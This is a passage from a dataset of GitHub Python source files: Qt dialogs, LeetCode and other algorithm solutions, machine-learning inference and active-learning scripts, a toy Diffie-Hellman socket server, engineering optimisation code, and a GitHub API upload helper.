layout.addRow(\"Name\", self.name)\n layout.addRow(\"Specification\", self.specification)\n layout.addRow(\"Controller\", self.builder)\n layout.addRow(\"Database\", self.database)\n layout.addRow(\"Documentation\", self.doc_widget)\n layout.addWidget(button_box)\n\n button_box.accepted.connect(self.accept)\n button_box.rejected.connect(self.reject)\n\n def specification_changed(self, index):\n spec_name = list(self.specifications.keys())\n spec_class = list(self.specifications.values())\n print(\"Specification changed to\", spec_name[index])\n self.builder.clear()\n self.builders = spec_class[index].controllers\n for builder in self.builders:\n self.builder.addItem(builder)\n\n def get_inputs(self):\n spec_class = list(self.specifications.values())\n builder_text = list(self.builders.values())\n current_spec_class = spec_class[self.specification.currentIndex()]\n current_builder_class = self.builder_class[builder_text[self.builder.currentIndex()]]\n return (\n self.name.text(),\n current_spec_class,\n current_builder_class,\n self.db_files[self.database.currentText()],\n self.doc_widget.path.text()\n )\n\n\nclass DocWidget(QWidget):\n\n def __init__(self):\n super().__init__()\n\n # widgets\n self.path = QLineEdit()\n button = QPushButton('...')\n button.clicked.connect(self.find_file)\n\n # layout\n layout = QHBoxLayout(self)\n layout.addWidget(self.path)\n layout.addWidget(button)\n layout.setContentsMargins(0, 0, 0, 0)\n self.setLayout(layout)\n\n def find_file(self):\n doc_file = QFileDialog.getOpenFileName(self, 'Open file', str(Path.home()),\n \"HTML files (*.html)\")\n if doc_file[0] != '':\n self.path.setText(doc_file[0])\n\n\nclass RenameModelDialog(QDialog):\n\n def __init__(self, current_model_name, parent=None):\n super().__init__(parent)\n self.setWindowTitle(\"Rename Model \" + current_model_name)\n\n self.new_model_name = QLineEdit(self)\n self.new_model_name.setText(current_model_name)\n\n button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel, self)\n\n layout = QFormLayout(self)\n layout.addRow(\"New model name\", self.new_model_name)\n layout.addWidget(button_box)\n\n button_box.accepted.connect(self.accept)\n button_box.rejected.connect(self.reject)\n\n\ndef critical_error_box(title, text, detailed_text=None):\n dlg = QMessageBox()\n dlg.setWindowTitle(title)\n dlg.setText(text)\n dlg.setDetailedText(detailed_text)\n details_box = dlg.findChild(QTextEdit)\n details_box.setFixedSize(600, 400)\n dlg.setIcon(QMessageBox.Critical)\n\n return dlg\n","repo_name":"MGuo-Lab/LCA","sub_path":"molaqt/dialogs.py","file_name":"dialogs.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"10267440242","text":"# @lc app=leetcode id=617 lang=python3\n#\n# [617] Merge Two Binary Trees\n#\n\n\n# @lc tags=tree\n\n# @lc imports=start\nfrom imports import *\n# @lc imports=end\n\n# @lc idea=start\n# \n# \n# \n# @lc idea=end\n\n# @lc group=\n\n# @lc rank=\n\n# @lc code=start\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def mergeTrees(self, root1: Optional[TreeNode], root2: Optional[TreeNode]) -> Optional[TreeNode]:\n \"\"\" Solution 1: Recursive method \"\"\"\n# if root1 is None:\n# return root2\n# if root2 is None:\n# return root1\n# root1.val = root1.val + root2.val\n# root1.left = self.mergeTrees(root1.left, root2.left)\n# root1.right = self.mergeTrees(root1.right, root2.right)\n\n# return root1\n \"\"\" Solution 2: Iterative method level order traversal \"\"\"\n if root1 is None:\n return root2\n if root2 is None:\n return root1\n bfs = collections.deque([(root1, root2)])\n\n while bfs:\n node1, node2 = bfs.popleft()\n\n if node1 is None or node2 is None:\n continue\n node1.val += node2.val\n if node1.left is None:\n node1.left = node2.left\n else:\n bfs.append((node1.left, node2.left))\n if node1.right is None:\n node1.right = node2.right\n else:\n bfs.append((node1.right, node2.right))\n\n return root1\n \n pass\n# @lc code=end\n\n# @lc main=start\nif __name__ == '__main__':\n print('Example 1:')\n print('Input : ')\n print('root1 = [1,3,2,5], root2 = [2,1,3,null,4,null,7]')\n print('Exception :')\n print('[3,4,5,5,4,null,7]')\n print('Output :')\n print(str(Solution().mergeTrees(listToTreeNode([1,3,2,5]),listToTreeNode([2,1,3,None,4,None,7]))))\n print()\n \n print('Example 2:')\n print('Input : ')\n print('root1 = [1], root2 = [1,2]')\n print('Exception :')\n print('[2,2]')\n print('Output :')\n print(str(Solution().mergeTrees(listToTreeNode([1]),listToTreeNode([1,2]))))\n print()\n \n pass\n# @lc main=end\n","repo_name":"datacore-andyzhu/leetcode","sub_path":"617.merge-two-binary-trees.py","file_name":"617.merge-two-binary-trees.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29036361100","text":"import os\nimport sys\nimport random\nimport math\nimport re\nimport time\nimport numpy as np\nimport matplotlib\nimport pandas as pd\nimport tensorflow as tf\nfrom config import Config\nimport utils\nimport model as modellib\nimport visualize\nfrom model import log\nfrom PIL import Image\n\n# Root directory of the project\nROOT_DIR = '../'\n\n#piont names and class name\n'''添加fashion ai'''\nfi_class_names = ['dress']\n\n# Directory to save logs and trained model\nMODEL_DIR = os.path.join(ROOT_DIR, \"logs/{}_logs\".format(fi_class_names[0]))\nmodel_path = os.path.join(ROOT_DIR, \"model/mask_rcnn_{}.h5\".format(fi_class_names[0]))\nresult_save_path='../submit/{}_result.csv'.format(fi_class_names[0])\n#result_save_path=('./data/test/{0}_result.csv'.format(fi_class_names[0]))\n\n\nclass_names_ = ['neckline_left', 'neckline_right', 'center_front', 'shoulder_left',\n 'shoulder_right', 'armpit_left', 'armpit_right', 'waistline_left',\n 'waistline_right', 'cuff_left_in', 'cuff_left_out', 'cuff_right_in',\n 'cuff_right_out', 'top_hem_left', 'top_hem_right', 'waistband_left',\n 'waistband_right', 'hemline_left', 'hemline_right', 'crotch',\n 'bottom_left_in', 'bottom_left_out', 'bottom_right_in', 'bottom_right_out']\n'''\n各类存在的点在class_names_中的索引\n'''\nblouse_index=[0,1,2,3,4,5,6,9,10,11,12,13,14]#NUM_KEYPOINTS=13\nskirt_index=[15,16,17,18]#NUM_KEYPOINTS=4\noutwear_index=[0,1,3,4,5,6,7,8,9,10,11,12,13,14]#NUM_KEYPOINTS=14\ndress_index=[0,1,2,3,4,5,6,7,8,9,10,11,12,17,18]#NUM_KEYPOINTS=15\ntrousers_index=[15,16,19,20,21,22,23]#NUM_KEYPOINTS=7\n\n\nall_index={'blouse':blouse_index,\n 'skirt':skirt_index,\n 'outwear':outwear_index,\n 'dress':dress_index,\n 'trousers':trousers_index}\nindex = all_index[fi_class_names[0]]\n\nfi_class_names_=[]\nfor i in index:\n fi_class_names_.append(class_names_[i])\nprint(fi_class_names_)\n\n#############################################\n#\n#############################################\ndef pic_height_width(filepath):\n fp = open(filepath, 'rb')\n im = Image.open(fp)\n fp.close()\n x, y = im.size\n if(im.mode =='RGB'):\n return x,y\n else:\n return False,False\n\n\nclass InferenceConfig(Config):\n # Give the configuration a recognizable name\n NAME = \"FI\"\n\n # Train on 1 GPU and 8 images per GPU. We can put multiple images on each\n # GPU because the images are small. Batch size is 8 (GPUs * images/GPU).\n GPU_COUNT = 1\n IMAGES_PER_GPU = 1\n NUM_KEYPOINTS = len(all_index[fi_class_names[0]])\n KEYPOINT_MASK_SHAPE = [56, 56]\n # Number of classes (including background)\n NUM_CLASSES = 1 + 1 # background + 24 key_point\n\n RPN_TRAIN_ANCHORS_PER_IMAGE = 150\n VALIDATION_STPES = 100\n STEPS_PER_EPOCH = 100\n MINI_MASK_SHAPE = (56, 56)\n KEYPOINT_MASK_POOL_SIZE = 7\n # Pooled ROIs\n POOL_SIZE = 7\n MASK_POOL_SIZE = 14\n MASK_SHAPE = [28, 28]\n WEIGHT_LOSS = True\n KEYPOINT_THRESHOLD = 0.005\n # Maximum number of ground truth instances to use in one image\n MAX_GT_INSTANCES = 128\n\n\n DETECTION_MAX_INSTANCES = 1\n\n'''\ntest data set class\n'''\nclass FITestDataset(utils.Dataset):\n def load_FI_test(self):\n test_data_path='../data/round2test'\n # Add classes\n for i, class_name in enumerate(fi_class_names):\n self.add_class(\"FI\", i + 1, class_name)\n annotations = pd.read_csv('../data/round2test/test.csv')\n annotations = annotations.loc[annotations['image_category'] == fi_class_names[0]]\n\n annotations = annotations.reset_index(drop=True) # 更新索引\n\n for x in range(annotations.shape[0]):\n # bg_color, shapes = self.random_image(height, width)\n id = annotations.loc[x, 'image_id']\n category = annotations.loc[x, 'image_category']\n #print('loading image:%d/%d'%(x,annotations.shape[0]))\n im_path = os.path.join(test_data_path, id)\n # height, width = cv2.imread(im_path).shape[0:2]\n width, height = pic_height_width(im_path)\n self.add_image(\"FI\", image_id=id, path=im_path,\n width=width, height=height,\n image_category=category) # 添加我的数据\n def load_image(self, image_id):\n \"\"\"Generate an image from the specs of the given image ID.\n Typically this function loads the image from a file, but\n in this case it generates the image on the fly from the\n specs in image_info.\n 根据image_id读取图片\n \"\"\"\n info = self.image_info[image_id]\n # image = cv2.imread(info['path'])\n image = Image.open(info['path'])\n image = np.array(image)\n return image\n###############################################################\n'''\n把int类型转为num_num_num格式以便提交\n'''\ndef keypoint_to_str(keypoint):\n keypoint = keypoint.reshape([len(class_names_), 3])\n for x in range(len(class_names_)):\n if keypoint[x][2] != 1:\n keypoint[x] = [-1, -1, -1]\n list_keypoint = []\n for x in keypoint:\n list_keypoint.append(str(x[0]) + '_' + str(x[1]) + '_' + str(x[2]))\n return list_keypoint\n\n\n'''\n把得到的结果映射到24个点中。\n'''\ndef keypoint_map_to24(points,img_category):\n x=[[-1,-1,-1] for i in range(24)]\n for point_index,x_index in enumerate(all_index[img_category]):\n #print(point_str_index)\n x[x_index]=points[point_index]\n return np.array(x)\n\n\n\nif __name__ =='__main__':\n dataset_test=FITestDataset()\n dataset_test.load_FI_test()\n dataset_test.prepare()\n\n #config of model\n inference_config = InferenceConfig()\n\n # Recreate the model in inference mode\n model = modellib.MaskRCNN(mode=\"inference\",\n config=inference_config,\n model_dir=MODEL_DIR)\n\n # Get path to saved weights\n # Load trained weights (fill in path to trained weights here)\n assert model_path != \"\", \"Provide path to trained weights\"\n print(\"Loading weights from \", model_path)\n model.load_weights(model_path, by_name=True)\n\n ###########################################################################\n #保存结果到csv\n ###########################################################################\n point_to_csv_list=[]\n\n\n for x in range(0,dataset_test.num_images):\n image=dataset_test.load_image(x) #0为图像id\n category=dataset_test.image_info[x]['image_category'] #图像类别\n image_id=dataset_test.image_info[x]['id']\n\n results = model.detect_keypoint([image], verbose=0)\n\n r = results[0] # for one image\n # log(\"image\", image)\n # log(\"rois\", r['rois'])\n # log(\"keypoints\", r['keypoints'])\n # log(\"class_ids\", r['class_ids'])\n # log(\"keypoints\", r['keypoints'])\n error_count=0\n try:#统计未检测出目标的图片\n key_points = keypoint_map_to24(r['keypoints'][0], fi_class_names[0])\n except:\n key_points =np.array([[[0,0,0] for i in range(24)]])\n error_count+=1\n\n # visualize.display_keypoints(image,r['rois'],r['keypoints'], r['class_ids'], dataset_test.class_names)\n\n point_str=keypoint_to_str(key_points)#把坐标转为字符\n print(point_str)\n relust_info=[image_id,category]\n\n relust_info.extend(point_str)\n point_to_csv_list.append(relust_info)\n print(error_count, r'/', x, r'/', dataset_test.num_images)\n\n '''\n 保存结果\n '''\n columns=['image_id','image_category']#设置columns\n columns.extend(class_names_) #\n\n point_to_csv=pd.DataFrame(data=np.array(point_to_csv_list).reshape([-1,26]),\n columns=columns)\n point_to_csv.to_csv(result_save_path,index=False)\n","repo_name":"huaifeng1993/FashionAI_Key_Points_Detection","sub_path":"code/Clothes_test.py","file_name":"Clothes_test.py","file_ext":"py","file_size_in_byte":7880,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"31"} +{"seq_id":"3355334600","text":"'''\n시작 숫자는 N*N/ 시작 좌표는 (0,0)지점부터 거꾸로 돌면서\n벽에 부딪히거나 이미 숫자가 적힌 경우 델타 방향을 전환하면서\n숫자를 채울 예정\n'''\n\nN = int(input())\nkey = int(input())\ndelta = [(1, 0), (0, 1), (-1, 0), (0, -1)]\nlst = [[0]*N for _ in range(N)]\n\nnow = (0, 0) # 시작 포인트\nnum = N*N # 시작 숫자\ndirection = 0 # 델타 시작점\nkey_i, key_j = 0, 0\n\nwhile num != 0:\n\n x, y = now # 좌표 하나씩 할당\n\n if num == key: # 찾고 있는 숫자라면 값 저장해주고\n key_i = x\n key_j = y\n lst[x][y] = num # 해당 자리에 숫자를 집어넣는다.\n\n nx = x + delta[direction][0]\n ny = y + delta[direction][1]\n if nx < 0 or nx >= N or ny < 0 or ny >= N or lst[nx][ny] != 0 : # 새 좌표가 배열을 벗어났다면\n nx, ny = x, y # 되돌려놓고\n direction = (direction+1) % 4 # 델타 방향을 바꿔 준 후 재시도\n nx = x + delta[direction][0]\n ny = y + delta[direction][1]\n\n now = (nx, ny) # 다음 now 좌표에 넣어준다\n num -= 1 # 숫자도 하나 올려준다\n\nfor i in range(N):\n print(' '.join(list(map(str,lst[i]))))\nprint(key_i+1, key_j+1)","repo_name":"SSAFY-algamza/ssafy-algorithm-study","sub_path":"I-HYEON/BOJ/BOJ_1913_달팽이.py","file_name":"BOJ_1913_달팽이.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73687883608","text":"import socket\nimport random\n\naddress = \"127.0.0.1\"\nport = 1010\n\ndef PRG(key):\n #what ever the key should do\n return 1+1\n\ndef OTPciper (text, key):\n print (\"cipher\") \n\ndef handshake(target):\n prime_1 = 11364357231821165769892549063506171923\n prime_2 = 143166232059652401956226505575319723543\n\n private_number = random.getrandbits(128)\n\n public_number = pow(prime_1, private_number, prime_2)\n\n public_number_string = str(public_number)\n target.send(bytes(public_number_string, \"utf-8\"))\n\n recieved_number = target.recv(128)\n recieved_number = int (recieved_number.decode())\n\n random_key = pow(recieved_number, private_number, prime_2)\n\n return random_key\n\n\nif __name__ == \"__main__\" :\n while (True):\n try:\n connected = 1\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((address, port))\n except:\n port += 1 \n connected = 0\n\n if (connected == 1):\n print (\"binded at\", address, \" - \", port)\n break\n\n server.listen(1)\n\n while True:\n client, client_address = server.accept()\n key_seed = handshake(client)\n crypto_key = PRG(key_seed)","repo_name":"allawhussein/Python-Sockets-Practice","sub_path":"OTP_node/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3972482300","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 11 17:58:38 2016\n\n@author: lpsmith\n\"\"\"\n\nfrom __future__ import division\nfrom os import walk\nimport math\nfrom scipy.interpolate import interp1d\nimport lucianSNPLibrary as lsl\n\n#Use this value to set up whether to use the 'rejoined' segments or not\nrejoined = \"\"\n#rejoined = \"_rejoined\"\n\ninputdir = \"BAF_persegment\" + rejoined + \"/\"\noutdir = \"expands\" + rejoined + \"_input_alldupes/\"\n\npoints = [0.1, 1.0,2.0,3.0,4.0,5.0]\nlogR = [-2.5, -0.44, 0.0, 0.163, 0.282, 0.37]\n# -0.44 from peak of CN_rejoined_histograms/loss_21-100000000.txt\n# Other values from separate_histograms.py running on CN_rejoined_histograms/balanced_gain_hist_21-100000000.txt\nvalues = []\nfor v in logR:\n values.append(2.0 * math.pow(2.0,v))\nf2 = interp1d(points,values,kind=\"cubic\")\n\nflist = []\n#SNPfiles.append([\"1034\", \"20008\"])\nfor (_, _, f) in walk(inputdir):\n flist += f\n\nfor f in flist:\n if (f.find(\".txt\") == -1):\n continue\n split = f.split(\"_\")\n if (len(split) < 2):\n continue\n patient = split[0]\n sample = split[1].replace(\".txt\",\"\")\n infile = open(inputdir + f, \"r\")\n bafout = open(outdir + patient + \"_\" + sample + \"_BAF.txt\", \"w\")\n cnout = open(outdir + patient + \"_\" + sample + \"_CN.txt\", \"w\")\n bafout.write(\"chr\\tstartpos\\tendpos\\tAF_Tumor\\tPN_B\\n\")\n cnout.write (\"chr\\tstartpos\\tendpos\\tCN_Estimate\\n\")\n for line in infile:\n if (line.find(\"chr\") != -1):\n continue\n (chr, start, end, log2r, baf) = line.strip().split()\n if (end==\"inf\"):\n end = str(lsl.getChromosomeMax(int(chr)))\n if (log2r == \"?\"):\n continue\n log2r = float(log2r)\n val = 2.0 * math.pow(2.0,log2r)\n # interpolation\n val = f2(val)\n if (baf != \"---\"):\n bafout.write(chr + \"\\t\" + start + \"\\t\" + end + \"\\t\" + baf + \"\\t\" + \"1\\n\")\n cnout.write(chr + \"\\t\" + start + \"\\t\" + end + \"\\t\" + str(val) + \"\\n\")\n bafout.close()\n cnout.close()\n Rout = open(outdir + patient + \"_\" + sample + \"_analyze.R\", \"w\")\n Rout.write(\"library('expands')\\n\")\n Rout.write(\"runExPANdS('\" + patient + \"_\" + sample + \"_BAF.txt','\" + patient + \"_\" + sample + \"_CN.txt', snvF='results\" + rejoined + \"/\" + patient + \"_\" + sample + \"_SPs.txt')\")\n Rout.close()\n Rout = open(outdir + \"run_\" + patient + \"_\" + sample + \"_analyze.sge\", \"w\")\n Rout.write(\"module load modules modules-init modules-gs gmp/5.0.2 mpfr/latest mpc/0.8.2 gcc/latest R/latest java_jdk/latest\\n\")\n Rout.write(\"cd R/\" + outdir + \"\\n\")\n Rout.write(\"R CMD BATCH \" + patient + \"_\" + sample + \"_analyze.R\\n\")\n Rout.close()\n \n \n \n ","repo_name":"luciansmith/kuhner-python","sub_path":"create_expands_input.py","file_name":"create_expands_input.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21345820487","text":"import numpy as np\n\nfrom openmdao.api import Group, BalanceComp\n\nfrom shell_hull_buckling_group import ShellHullBuckling\nfrom hoop_stress_hull_buckling_group import HoopStressHullBuckling\nfrom mom_inertia_hull_buckling_group import MomInertiaHullBuckling\n\nclass HullBalance(Group):\n\n\tdef setup(self):\n\n\t\tshell_hull_buckling_group = ShellHullBuckling()\n\t\thoop_stress_hull_buckling_group = HoopStressHullBuckling()\n\t\tmom_inertia_hull_buckling_group = MomInertiaHullBuckling()\n\n\t\tself.add_subsystem('hull_shell_buckling', shell_hull_buckling_group, promotes_inputs=['D_spar_p', 'wt_spar_p', 'Z_spar', 'M_spar', 'M_ball', 'L_ball', 'spar_draft', \\\n\t\t'M_moor', 'z_moor', 'dthrust_dv', 'dmoment_dv', 't_w_stiff', 't_f_stiff', 'h_stiff', 'b_stiff', 'l_stiff', 'angle_hull', 'f_y', 'A_R'], \\\n\t\tpromotes_outputs=['shell_buckling'])\n\n\t\tself.add_subsystem('hull_constr_hoop_stress', hoop_stress_hull_buckling_group, promotes_inputs=['D_spar_p', 'wt_spar_p', 'Z_spar', 'M_spar', 'M_ball', 'L_ball', 'spar_draft', \\\n\t\t'M_moor', 'z_moor', 'dthrust_dv', 'dmoment_dv', 't_w_stiff', 't_f_stiff', 'h_stiff', 'b_stiff', 'l_stiff', 'angle_hull', 'f_y', 'A_R'], \\\n\t\tpromotes_outputs=['constr_hoop_stress'])\n\n\t\tself.add_subsystem('hull_constr_mom_inertia_ringstiff', mom_inertia_hull_buckling_group, promotes_inputs=['D_spar_p', 'wt_spar_p', 'Z_spar', 'M_spar', 'M_ball', 'L_ball', 'spar_draft', \\\n\t\t'M_moor', 'z_moor', 'dthrust_dv', 'dmoment_dv', 't_w_stiff', 't_f_stiff', 'h_stiff', 'b_stiff', 'l_stiff', 'angle_hull', 'f_y', 'A_R'], \\\n\t\tpromotes_outputs=['constr_mom_inertia_ringstiff', 'r_f'])\n\t\t\n\t\tbal1 = self.add_subsystem('balance_shell_buckling', BalanceComp(), promotes_outputs=['My_shell_buckling'])\n\t\tbal1.add_balance('My_shell_buckling', val=-np.ones(10), units='N*m')\n\n\t\tbal2 = self.add_subsystem('balance_constr_hoop_stress', BalanceComp(), promotes_outputs=['My_constr_hoop_stress'])\n\t\tbal2.add_balance('My_constr_hoop_stress', val=-np.ones(10), units='N*m')\n\n\t\tbal3 = self.add_subsystem('balance_constr_mom_inertia_ringstiff', BalanceComp(), promotes_outputs=['My_constr_mom_inertia_ringstiff'])\n\t\tbal3.add_balance('My_constr_mom_inertia_ringstiff', val=-np.ones(10), units='N*m')\n\n\t\tself.connect('My_shell_buckling', 'hull_shell_buckling.My_hull')\n\t\tself.connect('shell_buckling', 'balance_shell_buckling.lhs:My_shell_buckling')\n\n\t\tself.connect('My_constr_hoop_stress', 'hull_constr_hoop_stress.My_hull')\n\t\tself.connect('constr_hoop_stress', 'balance_constr_hoop_stress.lhs:My_constr_hoop_stress')\n\n\t\tself.connect('My_constr_mom_inertia_ringstiff', 'hull_constr_mom_inertia_ringstiff.My_hull')\n\t\tself.connect('constr_mom_inertia_ringstiff', 'balance_constr_mom_inertia_ringstiff.lhs:My_constr_mom_inertia_ringstiff')","repo_name":"johnjasa/SparOpt","sub_path":"hull_buckling_balance.py","file_name":"hull_buckling_balance.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4206835098","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 25 04:12:41 2019\n\n@author: imam\n\"\"\"\n\ndef add_number(a, b):\n total = a + b\n return total\n print(\"amk nw\")\n \nprint(add_number(4, 9))","repo_name":"imamahasane/Object_Oriented_Programming","sub_path":"OOP_and_Other/return_function.py","file_name":"return_function.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"28281988176","text":"import time\nimport hydra\n\nfrom src.data import *\nfrom src.inference.deterministic import Deterministic\nfrom src.models import MNISTConvNet, MNISTConvNetAlt, DropoutFNN, MultinomialLogisticRegression\nfrom src.inference import MonteCarloDropout, SWAG, Deterministic, LaplaceApproximation\nfrom src.utils import ExperimentTracker, label_entropy, set_seed\nfrom src.utils import random_acquisition, max_entropy, bald, batch_bald\n\n\n@hydra.main(\n version_base='1.2',\n config_path='../../conf/',\n config_name='active_learning.yaml'\n)\ndef main(cfg):\n t_total_start = time.time()\n set_seed(cfg.al_seed)\n\n # Tracker\n tracker = ExperimentTracker()\n tracker.track_stat('config', cfg)\n\n # Load data\n data = eval(cfg.data.data_class)(**cfg.data.data_hparams)\n \n # Acquisition function\n acquisition_function = eval(cfg.al.acquisition_function)\n\n # Label entropy of initial pool (complete training set)\n tracker.track_list_stat(\n 'pool_entropy', label_entropy(data.y[data.train_indices]))\n\n # Initialize active learning by adding random data points to active set\n al_dataset = ActiveLearningDataset(\n data,\n pool_subsample=cfg.al.pool_subsample\n )\n if cfg.al.balanced_initial_set is True:\n # Random but balanced initial active set\n al_dataset.random_balanced_from_pool(\n seed=cfg.al_seed,\n acquisition_size=cfg.al.init_acquisition_size\n )\n else:\n # Completely random initial active set\n al_dataset.acquire_data(\n model=None,\n acquisition_function=random_acquisition,\n acquisition_size=cfg.al.init_acquisition_size\n )\n \n val_dataloader = al_dataset.dataset.val_dataloader()\n test_dataloader = al_dataset.dataset.test_dataloader()\n\n # Begin active learning loop\n for i in range(cfg.al.n_acquisitions):\n t_start = time.time()\n\n # Data loader\n active_dataloader = al_dataset.active_dataloader()\n\n # Initialize inference class and model\n model = eval(cfg.inference.inference_class)(\n model=eval(cfg.model.model_class)(\n n_train=len(active_dataloader.dataset),\n **cfg.model.model_hparams\n ),\n **cfg.inference.init_hparams\n )\n \n # Fit model\n fit_stats = model.fit(\n active_dataloader,\n val_dataloader,\n **cfg.inference.fit_hparams\n )\n\n # Evaluate model\n eval_start = time.time()\n train_stats = model.evaluate(active_dataloader, return_suffix='_train')\n val_stats = model.evaluate(val_dataloader, return_suffix='_val')\n test_stats = model.evaluate(test_dataloader, return_suffix='_test') \n eval_end = time.time()\n\n # Track stats\n tracker.track_list_stat('acquisition', i)\n tracker.track_list_stat('n_samples', len(active_dataloader.dataset))\n tracker.track_list_stat('time_eval', eval_end - eval_start)\n tracker.track_list_stat(\n 'active_entropy',\n label_entropy(data.y[al_dataset.active_indices])\n )\n tracker.track_list_stat(\n 'batch_entropy',\n label_entropy(data.y[al_dataset.active_history[-1]])\n )\n for metric, value in fit_stats.items():\n tracker.track_list_stat(metric, value)\n for metric, value in train_stats.items():\n tracker.track_list_stat(metric, value) \n for metric, value in val_stats.items():\n tracker.track_list_stat(metric, value)\n for metric, value in test_stats.items():\n tracker.track_list_stat(metric, value)\n\n # Acquire new data\n if i < cfg.al.n_acquisitions - 1:\n tracker.track_list_stat(\n 'pool_entropy',\n label_entropy(data.y[al_dataset.pool_indices])\n )\n top_k_scores, _ = al_dataset.acquire_data(\n model=model,\n acquisition_function=acquisition_function,\n acquisition_size=cfg.al.acquisition_size\n )\n tracker.track_list_stat('acquisition_scores', top_k_scores)\n\n t_end = time.time()\n tracker.track_list_stat('iteration_time', t_end - t_start)\n\n if eval(cfg.inference.inference_class) == MonteCarloDropout:\n acc_key = 'mcdo_acc_test'\n elif eval(cfg.inference.inference_class) == SWAG:\n acc_key = 'swag_acc_test'\n elif eval(cfg.inference.inference_class) == Deterministic:\n acc_key = 'model_acc_test'\n elif eval(cfg.inference.inference_class) == LaplaceApproximation:\n acc_key = 'la_acc_test'\n\n print(\n f'Acquisition iteration: {tracker.get_stat(\"acquisition\")[-1]}; '\n f'Number of samples: {tracker.get_stat(\"n_samples\")[-1]}; '\n f'Accuracy: {tracker.get_stat(acc_key)[-1]}; '\n f'Time: {tracker.get_stat(\"iteration_time\")[-1]}; '\n )\n \n t_total_end = time.time()\n tracker.track_stat('total_time', t_total_end - t_total_start)\n tracker.track_stat('active_history', al_dataset.active_history)\n tracker.save(cfg.misc.result_path)\n\nif __name__ == '__main__':\n main()","repo_name":"jonasvj/active-learning","sub_path":"src/active_learning.py","file_name":"active_learning.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43008129635","text":"from dataclasses import dataclass\nfrom typing import Any, Dict, List\n\nfrom run_across_america import MemberStats\n\n\nclass SerializableModel:\n \"\"\"Model utilities functions for derived classes.\"\"\"\n\n def json(self) -> Dict[str, Any]:\n \"\"\"Minimal JSON representation of the class attributes.\n Returns:\n A dictionary of all the class attributes with non-null or empty values\n and datetimes serialized.\n \"\"\"\n\n serialized: Dict[str, Any] = {}\n for key, value in self.__dict__.items():\n if value is None:\n continue\n if isinstance(value, SerializableModel):\n serialized[key] = value.json()\n elif isinstance(value, list):\n values: List[Any] = []\n for sub_value in value:\n if isinstance(sub_value, SerializableModel):\n values.append(sub_value.json())\n else:\n values.append(sub_value)\n serialized[key] = values\n else:\n serialized[key] = value\n\n return serialized\n\n\n@dataclass\nclass AlertInfo:\n team_name: str\n goal: int\n progress: float\n\n leaders_overall: List[MemberStats]\n leaders_by_activity: Dict[str, MemberStats]\n","repo_name":"minormending/slack-run-across-america","sub_path":"slack_run_across_america/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16765049071","text":"import random\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nrandom.seed(12345678)\nresults = []\n\nfor _ in range(1000):\n steps = 0\n position = 0\n while position < 25:\n position += random.randint(1, 6)\n if position == 1:\n position = 12\n elif position == 13:\n position = 22\n elif position == 14:\n position = 3\n elif position == 20:\n position = 8\n steps += 1\n results.append(steps)\n\nprint(f'Shortest game duration: {min(results):4d}')\nprint(f'Mean game duration : {np.mean(results):6.1f} ± {np.std(results):.1f}')\nprint(f'Longest game duration : {max(results):4d}')\n\nhv, hb = np.histogram(results, bins=np.arange(0, max(results)))\nplt.step(hb[:-1], hv)\nplt.show()\n","repo_name":"merstad/inf200-advanced-programming","sub_path":"lectures/l07/chutes_initial.py","file_name":"chutes_initial.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73585118807","text":"import requests\n\nfrom github import Github\nfrom requests import Response\nfrom utils.logger import info\n\n\nclass GitHubService:\n def __init__(self, github_api_token: str) -> None:\n self.github_api_token = github_api_token\n self.GITHUB_API_BASE_URL = \"https://api.github.com\"\n self.GITHUB_API_RAW_BASE_URL = \"https://raw.githubusercontent.com\"\n\n def get_sha(self, file_url: str) -> str:\n auth_headers = {\"Authorization\": f\"bearer {self.github_api_token}\"}\n return requests.get(url=file_url, headers=auth_headers).json().get(\"sha\", \"\")\n\n def upload_file(self, owner: str, repo: str, file_path: str, base64content: str) -> str:\n file_url = f\"{self.GITHUB_API_BASE_URL}/repos/{owner}/{repo}/contents/{file_path}\"\n auth_headers = {\"Authorization\": f\"bearer {self.github_api_token}\"}\n sha = self.get_sha(file_url)\n info(f\"sha: {sha}\")\n\n resp: Response = requests.put(\n url=file_url, headers=auth_headers, json={\"message\": \"Upload file\", \"content\": base64content, \"sha\": sha}\n )\n info(f\"Upload file response: {resp}\")\n return resp.json()[\"content\"][\"download_url\"]\n\n def get_raw_content(self, owner: str, repo: str, file_path: str, branch: str = \"main\") -> bytes:\n resp: Response = requests.get(f\"{self.GITHUB_API_RAW_BASE_URL}/{owner}/{repo}/{branch}/{file_path}\")\n return resp.content\n\n def get_github_repo(self, repo: str):\n g = Github(self.github_api_token)\n return g.get_user().get_repo(repo)\n\n def upload_github_issue(self, repo: str, title: str, 